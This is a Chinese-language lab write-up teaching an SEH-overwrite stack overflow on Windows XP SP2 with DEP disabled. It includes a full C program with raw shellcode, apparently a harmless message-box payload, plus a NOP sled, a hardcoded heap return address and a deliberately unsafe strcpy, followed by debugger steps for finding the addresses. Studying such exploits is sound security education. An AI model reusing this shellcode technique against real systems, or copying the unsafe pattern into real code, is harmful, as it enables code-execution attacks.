一、实验环境
操作系统:windows XP SP2(关闭DEP)
软件版本:VS2008(release)、原版OD(实时调试)
二、实验代码
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x3E\x39\x00"//address of shellcode in heap
/*
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
*/
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main()
{
//__asm int 3
char * buf=(char *)malloc(500);
strcpy(buf,shellcode);
test(shellcode);
}
实验思路与代码简要分析:
(1)首先在堆中申请500字节的空间,用来存放shellcode;
(2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;
(3)用shellcode在堆中的起始地址覆盖异常处理函数地址,然后通过制造除零异常,将程序转入异常处理,进而跳转到堆中的shellcode执行。
三、实验步骤
要想执行shellcode,需要知道:
- 堆区的起始地址 ->为了让异常处理函数指针指向shellcode;
- 第一个SEH异常处理函数指针在栈中的地址;
- 栈区buf的起始地址->为了构造shellcode.
首先shellcode用\x90\x90填充,便于查看,编译允许,程序会在断点处停下:
可以看到堆区的起始位置为0x393EA0。
怎么看出来?数据窗口依次跳转到变红的寄存器所保存的地址处,不过,一般函数调用返回值都存放在eax中;另外,0x178代表freelist[0]。
程序跳转到test中strcpy执行完的地方:
可以查看到栈中buf的起始地址为0x12FE8C.
查看SEH链:
可以看到异常处理函数的指针存放在0x12FFB0+4的地方。所以我们使用300字节就可以覆盖掉异常处理函数指针。
构造shellcode:
!!!注意:最后四字节的shellcode起始地址要填自己设备的shellcode起始地址。
修改完shellcode,运行程序:
成功弹窗!